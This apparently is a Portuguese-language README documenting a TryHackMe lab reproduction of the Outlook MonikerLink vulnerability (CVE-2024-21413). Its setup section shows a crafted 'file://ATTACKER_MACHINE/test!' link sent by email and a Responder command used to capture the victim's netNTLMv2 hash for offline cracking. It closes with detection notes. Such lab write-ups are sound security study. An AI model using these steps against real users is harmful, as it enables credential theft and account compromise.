💻 CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability-PoC

🧩 Visão Geral

Este projeto reproduz o comportamento MonikerLink (CVE-2024-21413) em um ambiente TryHackMe totalmente isolado para mostrar como certos formatos de hiperlink podem fazer com que o Outlook processe um link de uma forma que vaza tentativas de autenticação ou leva a exploração adicional. O entregável é um PoC, e um conjunto priorizado de mitigações e sugestões de detecção que as equipes de segurança podem aplicar. Nenhum sistema ao vivo / não autorizado foi alvo.

---

⚙️ Ferramentas e Tecnologias

---

🚀 Configuração e Execução

• Abra o terminal no Linux na máquina atacante
  • Criei um arquivo python e colei o código exploit.py

    Este código foi escrito por CMNatic e pode ser encontrado aqui

  • Modifiquei o código para se adequar ao ambiente da minha máquina.

    Por exemplo, na seguinte linha “<a href=“file://ATTACKER_MACHINE/test!” eu substituí "ATTACKER_MACHINE" pelo endereço IP da minha máquina atacante e na linha “server = smtplib.SMTP('MAILSERVER', 25)”, mudei "MAILSERVER" pelo endereço IP da minha máquina vítima.

  • Então executei o arquivo exploit.py e recebi a resposta dizendo "o email foi enviado"
  • Para capturar o netNTLMv2 (este é um hash que pode ser descriptografado usando John the Ripper ou outras ferramentas e senhas em texto simples podem ser recuperadas). Então usei uma ferramenta chamada responder para capturar a resposta da máquina vítima. O comando para executar o responder foi

    responder -I ens5

    • Aqui -I significa interface e usei a interface ens5. No meu caso, o comando mostrou um erro, então para resolvê-lo, primeiro usei o seguinte comando e tentei novamente o comando acima e funcionou

      systemctl start systemd-resolved

• Então fiz login na minha máquina vítima
  • Abri o Outlook e abri o link dentro do e-mail que enviei da máquina atacante
• Desta forma, com um clique no link, o responder na minha máquina atacante conseguiu capturar o hash netNTLMv2

---

Esta prova de conceito expõe uma nuance no tratamento de links do Microsoft Outlook: certos links moniker do tipo file://–style que referenciam recursos SMB podem escapar da filtragem padrão do Outlook e provocar tentativas de autenticação de saída. O comportamento demonstrado aqui foi reproduzido em um laboratório TryHackMe totalmente controlado e destaca como formatos de link aparentemente benignos podem mascarar interações de rede. Embora patches do fornecedor e orientações de detecção tenham sido emitidas, a mecânica subjacente permanece complexa devido aos usos legítimos do esquema moniker/file. Importante, a atividade gerada por este PoC é observável no nível da rede (por exemplo, em capturas de pacotes mostrando tentativas de autenticação NTLM), tornando-a adequada para análise forense e investigação de incidentes.

Detecção

Uma regra Yara foi criada por Florian Roth para detectar e-mails contendo o elemento :file:\:.